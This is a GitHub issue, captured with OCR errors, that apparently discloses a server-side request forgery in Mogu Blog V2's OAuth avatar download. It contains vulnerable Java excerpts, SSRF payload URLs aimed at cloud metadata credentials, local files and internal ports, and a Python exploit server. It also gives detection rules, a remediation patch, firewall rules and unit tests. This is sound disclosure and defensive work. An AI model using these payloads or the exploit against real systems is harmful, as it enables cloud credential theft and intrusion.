<> Code (©) Issues 10 f9 Pullrequests () Actions [fJ Projects @ Security and quality

:

Server-Side Request Forgery (SSRF) via OAuth Avatar URL
iIn Mogu Blog V2 #3

ccccececctiiiiiiii-lab opened 3 weeks ago Oowner e«

Server-Side Request Forgery (SSRF) via OAuth
Avatar URL in Mogu Blog V2

Affected Environment

« Project: Mogu Blog V2
* Repository: https://github.com/moxi624/mogu_blog v2
» Affected Version: 0.0.1

« Version Source: pom.xml

« Technology Stack: Java, Spring Boot, Maven
« Project Type: Web Application (Blog System)

» Architecture: Multi-service (mogu_web, mogu_picture)

Executive Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the OAuth authentication flow of Mogu Blog V2.
When users authenticate via OAuth providers (Gitee, GitHub, QQ, WeChat), the application downloads and
processes user avatar URLs from the OAuth provider response without performing any validation. An
attacker who can register a malicious OAuth application or compromise a legitimate OAuth app can force the
application server to make HTTP requests to arbitrary internal or external URLSs, including cloud metadata
services, internal network resources, and local files via the file:// protocol.

Key Facts:
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o Attack Vector: Network

« Privileges Required: None (requires OAuth application compromise)

« User Interaction: Required (user must click OAuth login button)
e Scope: Unchanged
e CWE: CWE-918 (Server-Side Request Forgery)

Vulnerability Details

Description

The Mogu Blog V2 application supports OAuth authentication through multiple providers including Gitee,
GitHub, QQ, and WeChat. During the OAuth callback process, the application extracts the user's avatar URL
from the OAuth provider's response and forwards it to the picture storage service ( mogu-picture ) for

downloading and storage.

The critical security flaw is that the application completely trusts the OAuth provider's response without
validating the avatar URL. The picture storage service then makes HTTP requests to whatever URL is
provided, without any whitelist validation, protocol checking, or IP address validation. This creates a Server-
Side Request Forgery (SSRF) vulnerability where an attacker controlling the OAuth response can force the

server to request arbitrary URLSs.

Attack Vector Analysis

Attribute Value
. GET /oauth/callback/{source}

Entry Point .
(AuthRestApi.java:146)

User-

Controlled avatar / avatar_url / headimgurl

Parameter

Processing ) ) ]

. LocalFileServiceImpl.uploadPictureByUrl()

Function

Dangerous URL.openConnection() /

Operation con.getInputStream()

Execution S ide with licati il
erver-siae with application privileges

Context PP P g

Technical Logic

Vulnerable File(s):

Justification

OAuth callback endpoint
accessible to any user

Extracted from OAuth
provider response, which
attacker can control if OAuth
app is compromised

Makes HTTP request without
validation

Sends HTTP request to
arbitrary URL

Server can access internal
network, cloud metadata,
local filesystem
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e mogu_web/src/main/java/com/moxi/mogublog/web/restapi/AuthRestApi.java (Lines: 146-229, 273-
319)

e mogu_web/src/main/java/com/moxi/mogublog/web/restapi/WechatRestApi.java (Lines: 255-299)

e mogu_picture/src/main/java/com/moxi/mogublog/picture/service/impl/LocalFileServiceImpl.jav
a (Lines: 61-129)

Vulnerable Function: LocalFileServiceImpl.uploadPictureByUrl()
Attack Vector: Network
Authentication Required: No (any user can initiate OAuth login)

Vulnerable Code - AuthRestApi.java (Lines 286-292):

List<String> urlList = new ArrayList<>(); d;
if (data.get(SysConf.AVATAR) != null) {
urlList.add(data.get(SysConf.AVATAR).toString()); // X NO VALIDATION
} else if (data.get(SysConf.AVATAR_URL) != null) {
urlList.add(data.get(SysConf.AVATAR_URL).toString()); // X NO VALIDATION

}
filevO.setUrlList(urlList);

String res = this.pictureFeignClient.uploadPicsByUrl(filev0); // 1. SSRF

Vulnerable Code - LocalFileServicelmpl.java (Lines 95-104):

// FIFEURL =
URL url = new URL(itemurl); // X NO VALIDATION

/7 FTFRERE
URLConnection con = url.openConnection(); // X SSRF VULNERABILITY

// RERPAE
con.setRequestProperty("User-agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/201¢

// REL10F
con.setConnectTimeout (10000);
con.setReadTimeout (10000);

// SEHREMMERTOEER BROEHE , FEAL— P BAR A
inputStream = con.getInputStream(); // 5 REQUEST SENT TO ARBITRARY URL

Attack Flow:

1. Attacker registers/compromises an OAuth application with a provider (Gitee/GitHub/QQ/WeChat)

2. Attacker configures the OAuth application to return a malicious avatar URL (e.g.,
http://169.254.169.254/1latest/meta-data/iam/security-credentials/ )

3. Victim user clicks "Login with [OAuth Provider]" button in Mogu Blog
4. OAuth provider redirects to AuthRestApi.login() callback with malicious avatar URL

5. AuthRestApi extracts avatar URL without validation and calls
pictureFeignClient.uploadPicsByUrl()
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6. Feign client forwards request to mogu-picture service

7. LocalFileServiceImpl.uploadPictureByUrl() constructs URL and opens connection

8. Server makes HTTP request to attacker-controlled URL (SSRF vulnerability triggered)

Related Vulnerable Locations

Location File Lines Vulnerability
OAuth Callback . 146- Extracts avatar URL without
] ) AuthRestApi.java o
(Gitee/GitHub/QQ) 229 validation
273- Passes unvalidated avatar URL
Avatar Update AuthRestApi.java . .
319 to picture service
. . 255- Same vulnerability for WeChat
WeChat Login WechatRestApi.java , 4
299 headimgurl
. . . . . L Exposes uploadPicsByUrl
Picture Feign Client PictureFeignClient.java 38-39

method

Makes HTTP requests without

SSRF Sink LocalFileServicelmpl.java 61-129 o
URL validation

Impact Analysis

CIA Triad Assessment
« Confidentiality: HIGH

o Attackers can read sensitive files from the server filesystem (e.g., /etc/passwd , configuration files)
o Cloud metadata theft exposes IAM credentials, API keys, and temporary security tokens

o Internal service responses may contain sensitive information (admin panels, database contents)
 Integrity: LOW

o Limited ability to modify data through SSRF alone
o Potential to trigger unintended actions in internal services

e Availability: MEDIUM

o Can cause service disruptions by overwhelming internal services
o Potential to trigger denial of service in internal network resources

o File system operations may consume server resources

Real-World Impact Scenarios

1. Cloud Infrastructure Compromise:

https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/3 4/23
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o If hosted on AWS EC2, attacker can retrieve 1AM role credentials from
http://169.254.169.254/latest/meta-data/iam/security-credentials/

o These credentials can be used to access other AWS services (S3 buckets, RDS databases, EC2
instances)

o Complete compromise of cloud infrastructure and data exfiltration
2. Internal Network Reconnaissance:

o Attacker can probe internal services by making requests to http://localhost:8080 ,
http://127.0.0.1:6379 (Redis), etc.

o Discover internal admin panels, databases, and microservices

o Map internal network topology for further attacks
3. Local File Disclosure:

o Using file:///etc/passwd can read system files
o Access application configuration files with database credentials

o Read source code or other sensitive files on the server
4. Port Scanning and Service Enumeration:

o By trying different ports (e.g., http://localhost:22, http://localhost:3306 ), attacker can
identify running services

o Time-based responses can reveal open vs closed ports

CVSS v3.1 Analysis

Score: 7.5 (HIGH)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Scoring Justification:

Metric Value Justification

Attack Vector (AV) Network Vulnerability is exploited over the network via OAuth callback
Attack Complexity Low Once OAuth app is compromised, no special configuration or
(AC) advanced knowledge required
Privileges Required N . L .
(PR) g d None Any user can initiate OAuth login; no authentication required
User Interaction (Ul) Required Victim must click OAuth login button

Vulnerability does not allow escaping the application's securit
Scope (S) Unchanged Y ping PP Y

boundary
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Metric Value Justification

Can read sensitive files, cloud metadata, internal service

Confidentiality (C High

I ality (C) 9 responses
Integrity (1) Low Limited ability to modify data; primarily read-only access
Availability (A) None No direct impact on system availability

Technology-Specific Impact

For Web Applications:

« Session Hijacking Risk: Low (no direct session token exposure)
« CSRF Potential: Not applicable

« Same-Origin Policy Bypass: Server-side request bypasses browser SOP restrictions

For Cloud/Serverless:

« Cloud Service Impact: If hosted on AWS/GCP/Azure, metadata services are accessible
(169.254.169.254)

« |AM Implications: Temporary credential exposure can lead to privilege escalation within cloud
environment

« Multi-Tenant Risk: In shared infrastructure, SSRF could access other tenants' resources

For JavalSpring Applications:

* URL Class Protocol Support: Java's URL class supports multiple protocols including file:// ,
http://, https://, jar:// , potentially allowing more diverse attacks

« Spring Framework Context: OAuth authentication integrated with Spring Security; vulnerability exists
in custom OAuth callback handler

« Feign Client Usage: Microservice communication via Feign increases attack surface by forwarding
untrusted data to internal services

Proof of Concept (PoC)

Environment Setup

» Target Version: Mogu Blog V2 0.0.1

e Environment: Docker/Linux

« Dependencies: Spring Boot, OAuth providers (Gitee/GitHub/QQ/WeChat), mogu-picture service
Attack Prerequisites

1. OAuth Application Access:

https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/3 6/23
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o Register a malicious OAuth application with a provider (Gitee, GitHub, QQ, or WeChat)

o Configure the application to return a custom avatar URL in the user profile response

o Alternatively, compromise an existing OAuth application
2. Victim Interaction:

o Victim user must have an account with the OAuth provider

o Victim must click "Login with [Provider]" button in Mogu Blog

Reproduction Steps

Scenario 1: AWS Metadata Theft (Critical Impact)

Step 1: Register Malicious OAuth Application

# Register OAuth app with provider (example for Gitee) L@
# Configure app to return malicious avatar URL in user profile response
{
"avatar": "http://169.254.169.254/1latest/meta-data/iam/security-credentials/ec2-default",
"nickname": "Attacker Controlled"
}

Step 2: Victim Initiates OAuth Login

1. Victim visits Mogu Blog application
2. Victim clicks "Login with Gitee" button
3. Victim is redirected to Gitee's OAuth authorization page

4. Victim authorizes the malicious OAuth application

Step 3: Server Processes Malicious Avatar URL

// AuthRestApi.java - OAuth callback processes response L@
AuthResponse response = authRequest.login(callback);
Map<String, Object> data = JsonUtils.jsonToMap(JsonUtils.objectToJson(map.get(SysConf.DATA))

// Extract malicious avatar URL

String avatarUrl = data.get(SysConf.AVATAR).toString();

// avatarUrl = "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default'’
// Forward to picture service

this.pictureFeignClient.uploadPicsByUrl(fileVO0);

Step 4: SSRF Executes

// LocalFileServiceImpl.java - Makes request to AWS metadata service Ll.j
URL url = new URL("http://169.254.169.254/latest/meta-data/iam/security-credentials/ecz ...atl
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URLConnection con = url.openConnection();
inputStream = con.getInputStream(); // Returns AWS IAM credentials!

Step 5: Verify Exploitation

# Check application logs for AWS metadata response d;
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default

# Expected response (AWS IAM credentials):

{
"Code": "Success",
"LastUpdated": "2026-02-19T12:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-02-19T18:00:00Z"
}

Impact: Attacker obtains AWS IAM credentials with full access to EC2 role permissions, potentially
compromising the entire cloud infrastructure.

Scenario 2: Internal Network Scanning

Malicious Avatar URL: http://localhost:8080/admin
Reproduction:

1. Configure OAuth application to return avatar URL: http://localhost:8080/admin
2. Victim completes OAuth login flow
3. Server makes HTTP request to http://localhost:8080/admin

4. Admin panel HTML returned (if accessible without authentication)

Expected Response:

HTTP/1.1 200 OK Ll.j
Content-Type: text/html

<!DOCTYPE html>
<html>
<head><title>Admin Panel</title></head>
<body>

<!-- Admin panel content exposed -->
</body>
</html>

Impact: Internal service discovery, information disclosure, identification of additional attack surfaces.
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Scenario 3: Local File Read via file:/l Protocol

Malicious Avatar URL: file:///etc/passwd
Reproduction:

1. Configure OAuth application to return avatar URL: file:///etc/passwd
2. Victim completes OAuth login flow
3. Java's URL class processes file:// protocol

4. Server reads local file and returns content

Expected Response:

root:x:0:0:root:/root:/bin/bash 3
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

Impact: Sensitive file disclosure, credential theft, configuration exposure.

Exploit Examples

Complete Exploit Code (Python - Malicious OAuth Server):

#1/usr/bin/env python3 i

Proof of Concept: Malicious OAuth Server for SSRF Exploitation
This simulates a compromised OAuth application that returns malicious avatar URLs

from flask import Flask, jsonify, request
import requests

app = Flask(__name__)

# Attacker-controlled target URLs
TARGETS = {
"aws_metadata": "http://169.254.169.254/1latest/meta-data/iam/security-credentials/",
"internal _admin": "http://localhost:8080/admin",
"local file": "file:///etc/passwd",
"redis": "http://localhost:6379",

@app.route('/oauth/userinfo', methods=['GET'])
def malicious_oauth_userinfo():

mmon

OAuth endpoint that returns malicious avatar URL

https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/3 9/23
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Real OAuth providers would have proper validation, but:
- Attacker can register own OAuth app
- Or OAuth provider could be compromised

mmon

target = request.args.get('target', 'aws_metadata')

malicious_response = {
"id": "123456789",

"login": "victim_user",

"avatar_url": TARGETS[target], # A\ MALICIOUS AVATAR URL
"name": "Victim User",

"email": "victim@example.com"

print(f"[+] Returning malicious avatar URL: {TARGETS[target]}")
return jsonify(malicious_response)

@app.route('/oauth/authorize', methods=['GET'])
def oauth_authorize():
"""Simulate OAuth authorization redirect"""
callback_url = request.args.get('redirect_uri')
code = "malicious_auth_code"
# In real attack, victim's browser would be redirected here
return f"Redirecting to: {callback_url}?code={code}"

@app.route('/oauth/token', methods=['POST'])
def oauth_token():
"""Simulate OAuth token endpoint"""
return jsonify({

"access_token": "malicious_access_token",
"token_type": "bearer",
"scope": "read:user"
1)
if __name__ == '__main__':

print("[*] Starting malicious OAuth server on port 8081")
print("[*] Configure Mogu Blog to use this as OAuth provider™")
print("[*] Targets available:")
for target, url in TARGETS.items():

print(f" - {target}: {url}")
app.run(host="'0.0.0.0", port=8081, ssl _context='adhoc"')

Usage Instructions:
# 1. Run the malicious OAuth server d;
python3 exploit_oauth_server.py

# 2. Configure Mogu Blog to use this server as OAuth provider
# (in application.yml or via admin panel)

# 3. Victim visits Mogu Blog and clicks "Login with [Provider]"
# 4. Victim is redirected to malicious OAuth server

# 5. Server returns malicious avatar URL in user profile response

https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/3 10/23
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# 6. Mogu Blog's picture service makes request to attacker-controlled URL

# 7. Check server logs for SSRF results

Expected vs Actual Behavior
Expected Behavior:

o OAuth provider returns a trusted avatar URL from their domain (e.g.,
https://avatars.githubusercontent.com/u/123456 )

Application validates that the URL is from an allowed domain
Application validates that the protocol is HTTP or HTTPS

Application checks that the URL does not resolve to a private IP address

« Picture service only downloads from validated, trusted sources
Actual Behavior:

« Application accepts any URL from OAuth response without validation
o Picture service makes HTTP requests to arbitrary URLs

« Internal services, cloud metadata, and local filesystem are accessible
» No restrictions on protocols (file://, gopher://, etc. may work)

* No IP address validation (127.0.0.1, 169.254.169.254, etc. allowed)

Detection & Monitoring

Indicators of Compromise (loCs)
Suspicious URL Patterns in Logs:

e Requeststo 169.254.169.254 (cloud metadata service)

» Requeststo 127.0.0.1 or localhost (local loopback)

» Requests to private IP ranges ( 10.0.0.0/8 , 172.16.0.0/12 , 192.168.0.0/16 )
o Requests with file:// protocol

* Requests to non-standard ports (e.g., :6379 for Redis, :3306 for MySQL)
Anomalous Behavior:

e OAuth logins from unknown OAuth applications
« Avatar URLSs pointing to non-image hosting domains
e EXcessive errors in LocalFileServiceImpl.uploadPictureByUrl()

» Failed attempts to access internal resources

11/23



4/20/26, 11:13 AM Server-Side Request Forgery (SSRF) via OAuth Avatar URL in Mogu Blog V2 - Issue #3 - ccccccctiiiiiiii-lab/public_e...

File/Registry Changes:

« Unexpected files in upload directory (metadata responses, config files)

« Large number of failed upload attempts from single user/IP

Detection Rules

Sigma Rule - SSRF Detection:

title: Potential SSRF via OAuth Avatar URL
id: mogu_blog_ssrf_oauth_avatar
status: experimental
description: Detects potential SSRF attacks via OAuth avatar URL download in Mogu Blog
references:
- https://github.com/moxi624/mogu_blog_v2
author: Security Researcher
date: 2026-02-19
logsource:
category: application
product: mogu_blog
detection:
selection:
# OAuth callback endpoint accessed
c-uri: '/oauth/callback/*'
filter:
# Suspicious avatar URLs in OAuth response
c-uri-query]|contains:
- '169.254.169.254"'

- '127.0.0.1"'
- '"localhost'
- 'file://!
condition: selection and filter
fields:
- c-ip
- c-uri
- user-agent
falsepositives:
- Unknown
level: high
tags:

- attack.initial_access
- attack.t1190
- cwe.918

LogQL Query (for Loki/Grafana):

{job="mogu_blog"} |= "oauth/callback"

| json

| line_format "{{.avatar_url}}"

|~ "(169\.254\.169\.254|127\.0\.0\.1|1localhost|file://)"
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Splunk Query:

index=mogu_blog_logs "/oauth/callback" LE.]
| extract pairdelim="&" kvdelim="=" auto=f

| search avatar_url=*169.254.169.254* OR avatar_url=*127.0.0.1* OR avatar_url=*file://*
| stats count by avatar_url, source_ip, user
| where count > 0

Monitoring Recommendations
1. Application-Level Monitoring:

o Log all OAuth callback requests with full request/response data
o Alert on avatar URLs containing suspicious patterns
o Monitor LocalFileServiceImpl.uploadPictureByUrl() for failures and errors

o Track OAuth application IDs and alert on unknown/new applications

2. Network-Level Monitoring:

o Enable egress filtering to block requests to metadata services (169.254.169.254)
o Monitor outbound HTTP requests from application server
o Alert on connections to private IP ranges

o Implement network segmentation
3. Cloud-Specific Monitoring:

o Enable AWS CloudTrail to monitor IAM credential usage

o Monitor for unusual IAM role assumption

o Alert on access to EC2 metadata service from application instances
o Use AWS GuardDuty for threat detection

4. SIEM Integration:

o Forward application logs to SIEM (Splunk, ELK, QRadar)
o Create correlation rules for OAuth login + suspicious avatar URL
o Implement automated alerting for high-confidence SSRF indicators

o Maintain baseline of normal OAuth login patterns

Classification & Remediation

Vulnerability Classification

* Primary CWE: CWE-918 (Server-Side Request Forgery)
e Secondary CWEs:
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o CWE-20 (Improper Input Validation)

o CWE-200 (Information Exposure)
o CWE-346 (Origin Validation Error)
« CAPEC ID: CAPEC-664 (SSRF)
o ATT&CK Techniques:
o T1190 (Exploit Public-Facing Application)
o T1071.001 (Web Protocol: Application Layer Protocol)
o T1552.005 (Cloud Instance Metadata API)

Root Cause Analysis

The vulnerability exists because of a defense-in-depth failure. The application implicitly trusts OAuth
providers to return safe, validated avatar URLs. However:

1. OAuth Provider Compromise Risk: OAuth providers can be compromised or malicious applications
can be registered

2. No Validation at Consumption Point: The application does not validate URLs before using them

3. Assumption of Trust: The code assumes that OAuth providers are trustworthy, violating the principle of
"never trust user input”

4. Missing Security Controls: No URL whitelist, protocol validation, or IP address checking

The core issue: The application treats OAuth provider responses as trusted data, when in reality, if the
OAuth application itself is compromised or malicious, the attacker controls the response data.

Remediation

Immediate Fix (Critical Priority)

File: mogu_web/src/main/java/com/moxi/mogublog/web/restapi/AuthRestApi.java

Add URL Validation Before Line 286:

import java.net.InetAddress; 3
import java.net.URL;

import java.util.Arrays;

import java.util.List;

import org.apache.commons.validator.routines.Urlvalidator;

public class AuthRestApi {

// Define allowed OAuth avatar hosts
private static final List<String> ALLOWED_AVATAR_HOSTS = Arrays.asList(

"ql.qlogo.cn", // QQ avatars
"thirdqqg.qlogo.cn", // QQ third-party avatars
"github.com", // GitHub
"avatars.githubusercontent.com", // GitHub avatars
"gitee.com", // Gitee
"portrait.gitee.com", // Gitee portraits
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"wx.glogo.cn", // WeChat avatars
"thirdwx.glogo.cn" // WeChat third-party avatars

)&

L
* Validates that an avatar URL is from a trusted source
* @param avatarUrl The URL to validate
* @throws SecurityException if validation fails
*/
private void validateAvatarUrl(String avatarurl) {
if (avatarUrl == null || avatarUrl.trim().isEmpty()) {
throw new SecurityException("Avatar URL cannot be empty");

try {
URL url = new URL(avatarurl);

String host = url.getHost();
String protocol = url.getProtocol();

// 1. Protocol validation - only allow HTTP and HTTPS
if (!"http".equalsIgnoreCase(protocol) && !"https".equalsIgnoreCase(protocol)) {
throw new SecurityException(
"Invalid avatar URL protocol: " + protocol + ". Only HTTP and HTTPS are ¢

),

// 2. Host whitelist validation
boolean isAllowed = false;
for (String allowedHost : ALLOWED_AVATAR_HOSTS) {
if (host.endswith(allowedHost) || host.equals(allowedHost)) {
isAllowed = true;
break;

if (!isAllowed) {
throw new SecurityException(
"Avatar URL host not allowed: " + host + ". Must be from trusted OAuth pr

)i

// 3. DNS resolution and IP validation
InetAddress[] addresses = InetAddress.getAllByName(host);

for (InetAddress addr : addresses) {
String ip = addr.getHostAddress();

// Block private IP ranges
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
addr.isSitelLocalAddress()) {
throw new SecurityException(
"Avatar URL resolves to private IP address: " + ip

)i

// Block specific IP ranges
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if (ip.startswith("127.") || // Loopback
ip.startswith("10.") || // Private Class A
ip.startswith("192.168.") | // Private Class C
ip.startswith("169.254.") | // Link-local / Cloud metadata
ip.startswith("172.16.") || // Private Class B (partial)
ip.startswWith("172.17.") || // Docker bridge
ip.startswWith("172.18.") || // Docker bridge
ip.startswith("172.19.") || // Docker bridge
ip.startswith("172.20.") || // Docker bridge
ip.startswith("172.21.") || // Docker bridge
ip.startswith("172.22.") || // Docker bridge
ip.startswith("172.23.") || // Docker bridge
ip.startswith("172.24.") || // Docker bridge
ip.startswWith("172.25.") ||
ip.startswith("172.26.") ||
ip.startswith("172.27.") ||
ip.startswith("172.28.") ||
ip.startswith("172.29.") || // Docker bridge
ip.startswWith("172.30.") || // Docker bridge
ip.startswith("172.31.")) { // Private Class B
throw new SecurityException(
"Avatar URL resolves to private IP range: " + ip

// Docker bridge
// Docker bridge
// Docker bridge
// Docker bridge

)2

} catch (SecurityException e) {

// Re-throw security exceptions
throw e;

} catch (Exception e) {

// Log and wrap other exceptions
log.error("Avatar URL validation failed: {}", e.getMessage());
throw new SecurityException("Invalid avatar URL: " + e.getMessage());

// Modified updateUserPhoto method (Line 273-319)
private void updateUserPhoto(Map<String, Object> data, User user) {

try {

Filevo fileVO = new FileVO();
List<String> urlList = new ArraylList<>();

// Extract and validate avatar URL

if (data.get(SysConf.AVATAR) != null) {
String avatarUrl = data.get(SysConf.AVATAR).toString();
validateAvatarUrl(avatarUrl); // [%4 VALIDATE!
urlList.add(avatarurl);

} else if (data.get(SysConf.AVATAR_URL) != null) {
String avatarUrl = data.get(SysConf.AVATAR_URL).toString();
validateAvatarUrl(avatarurl); // VALIDATE!
urlList.add(avatarurl);

if (urlList.size() > 0) {
filevO.setUrlList(urlList);
String res = this.pictureFeignClient.uploadPicsByUrl(fileVvO0);
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// ... rest of method
}
} catch (SecurityException e) {
log.error("Security violation in avatar URL processing: {}", e.getMessage());
// Use default avatar instead of failing
user.setPhoto(SysConf.DEFAULT_AVATAR);

Also Apply to WechatRestApi.java (Line 268-272):

private void updateUserPhoto(Map<String, Object> data, User user) { d;
try {
Filevo fileVO = new FileVO();
List<String> urllList = new ArrayList<>();

if (data.get("headimgurl") != null) {
String avatarUrl = data.get("headimgurl").toString();
validateAvatarUrl(avatarurl); // [ VALIDATE!
urlList.add(avatarurl);

if (urlList.size() > 0) {
filevO.setUrlList(urlList);
String res = this.pictureFeignClient.uploadPicsByUrl(fileVvO0);
// ... rest of method

}

} catch (SecurityException e) {

log.error("Security violation in WeChat avatar URL processing: {}", e.getMessage());
user.setPhoto(SysConf.DEFAULT_AVATAR);

Implementation Notes:

Performance Impact: DNS resolution adds ~50-200ms per validation; consider caching DNS results

« Compatibility: No breaking changes; only adds validation

Testing Requirements: Test with all supported OAuth providers, verify normal flow still works

» Dependencies: Requires no external libraries; uses standard Java java.net package
Defense in Depth
Layer 1: OAuth Provider Whitelist
// 0Only allow known OAuth providers d;
private static final List<String> ALLOWED_OAUTH_PROVIDERS = Arrays.asList(
llgiteell, llgithubll, lqull, "WeChat"
)i

// In login() method (Line 146):
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@RequestMapping("/callback/{source}")
public void login(@Pathvariable("source") String source, ...) {
// Validate OAuth provider

if (!ALLOWED_OAUTH_PROVIDERS.contains(source.toLowerCase())) {
throw new SecurityException("Unknown OAuth provider: " + source);

// ... rest of method

Layer 2: Application-Level URL Validation
(See Immediate Fix above)

Layer 3: Network Segmentation

# Docker Compose network isolation
version: '3.8'
services:
mogu_web:
networks:
- frontend
- backend
# No direct internet access except through proxy

mogu_picture:
networks:
- backend
# Isolated from internet, only accessible from web

networks:
frontend:
driver: bridge
backend:
driver: bridge
internal: true # No internet access

Layer 4: Firewall Rules

# iptables rules to block outbound access to sensitive endpoints
# Block cloud metadata service
iptables -A OUTPUT -d 169.254.169.254 -j DROP

# Block private IP ranges

iptables -A OUTPUT -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP

# Allow only specific outbound destinations
iptables -A OUTPUT -d gl.qlogo.cn -j ACCEPT
iptables -A OUTPUT -d github.com -j ACCEPT
iptables -A OUTPUT -d gitee.com -j ACCEPT

iptables -A OUTPUT -d wx.qlogo.cn -j ACCEPT
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# Drop

everything else

iptables -A OUTPUT -j DROP

Layer 5: Content Security - Image Validation

// In LocalFileServiceImpl.java, add content validation after download d;
private void validateImageContent(byte[] imageBytes, String sourceuUrl) {

//
if

//
if

//

if

//
if

//
if

//
if

Check file size
(imageBytes.length > 5 * 1024 * 1024) { // 5MB limit
throw new SecurityException("Image too large: " + imageBytes.length + " bytes");

Check magic bytes (file signature)
(imageBytes.length < 4) {
throw new SecurityException("File too small to be valid image");

PNG: 89 50 4E 47

(imageBytes[0] == (byte) 0x89 &&
imageBytes[1] == (byte) 0x50 &&
imageBytes[2] == (byte) Ox4E &&
imageBytes[3] == (byte) 0x47) {
return; // Valid PNG

JPEG: FF D8 FF

(imageBytes[0] == (byte) OxFF &&
imageBytes[1] == (byte) OxD8 &&
imageBytes[2] == (byte) OxFF) {
return; // Valid JPEG

GIF: 47 49 46 38

(imageBytes[0] == (byte) 0x47 &&
imageBytes[1] == (byte) 0x49 &&
imageBytes[2] == (byte) 0x46 &&
imageBytes[3] == (byte) 0x38) {
return; // Valid GIF

WebP: 52 49 46 46 ... 57 45 42 50
(imageBytes[0] == (byte) 0x52 &&
imageBytes[1] == (byte) 0x49 &&
imageBytes[2] == (byte) 0x46 &&
imageBytes[3] == (byte) 0x46 &&
imageBytes.length > 11 &&
imageBytes[8] == (byte) 0x57 &&
imageBytes[9] == (byte) 0x45 &&
imageBytes[10] == (byte) 0x42 &&
imageBytes[11] == (byte) 0x50) {
return; // Valid WebP

throw new SecurityException(
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"Invalid image file format from URL: " + sourceUrl

)

Verification Steps

1. Unit Testing:

@Test d;
public void testValidAvatarurl() {
// Should pass
validateAvatarUrl("https://avatars.githubusercontent.com/u/123456");
validateAvatarUrl("https://portrait.gitee.com/uploads/123456");

@Test(expected = SecurityException.class)
public void testSsrfAwsMetadata() {
validateAvatarUrl("http://169.254.169.254/latest/meta-data/");

@Test(expected = SecurityException.class)
public void testLocalhost() {
validateAvatarUrl("http://localhost:8080/admin");

@Test(expected = SecurityException.class)
public void testFileProtocol() {
validateAvatarUrl("file:///etc/passwd");

@Test(expected = SecurityException.class)
public void testPrivateIp() {
validateAvatarUrl("http://127.0.0.1/admin");

@Test(expected = SecurityException.class)
public void testUnknownHost() {
validateAvatarUrl("http://evil.com/avatar.jpg");

2. Integration Testing:

# Test normal OAuth flow d;
curl -X GET "http://localhost:8080/0auth/callback/github?code=test"

# Test malicious avatar URL (should be rejected)

# Configure OAuth provider to return malicious avatar
# Verify SecurityException is thrown

# Verify default avatar is used instead

https://github.com/ccccccctiiiiiiii-lab/public_exp/issues/3 20/23
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# Check logs for validation messages
tail -f /var/log/mogu_blog/application.log | grep "Avatar URL"

3. Regression Testing:
o Verify all OAuth providers still work (Gitee, GitHub, QQ, WeChat)

o Verify normal avatar downloads still work
o Verify default avatar fallback works when validation fails

o Load test to ensure performance impact is acceptable

Long-Term Security Improvements
1. Architecture Change: Avatar Proxy Service

o Create a dedicated microservice for avatar downloads
o Proxy validates URLs, downloads images, and serves them
o Application never directly accesses external URLs

o Cache avatars to reduce external requests
2. OAuth Application Whitelist

o Maintain a whitelist of approved OAuth client IDs
o Require administrative approval for new OAuth applications

o Implement OAuth provider registration flow with verification
3. Rate Limiting and Monitoring

o Limit avatar download attempts per user/IP (e.g., 10 per minute)

o Implement progressive delays for repeated failures

o Alert on suspicious patterns (e.g., multiple OAuth app usage from same IP)

4. Security Headers and Content Validation

o Implement Content-Type validation for downloaded images
o Check file dimensions (reject unusually large/small images)
o Scan for malware/steganography in downloaded files

o Use virus scanning for uploaded content
5. Dependency Updates

o Keep Spring Security and OAuth libraries updated
o Regular dependency audits (OWASP Dependency-Check)

o Monitor security advisories for OAuth libraries
6. Security Training

o Train developers on SSRF vulnerabilities
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o Establish security code review process
o Implement mandatory security testing for OAuth-related features

o Create security guidelines for third-party integrations

Related Vulnerabilities

 VULN-REPORT-003: Email Header Injection and Stored XSS via RabbitMQ - Also involves input
validation failure in user-controlled data

* VULN-REPORT-045: Stored XSS in FreeMarker Template - Similar pattern of insufficient input
sanitization

References

« CWE-918: Server-Side Request Forgery (SSRF)
« OWASP Server-Side Request Forgery

» PortSwigger: Server-Side Request Forgery (SSRF)
« AWS: Mitigating SSRF in EC2

» Spring Security: OAuth 2.0 Login

o CWE-20: Improper Input Validation

« CWE-200: Information Exposure
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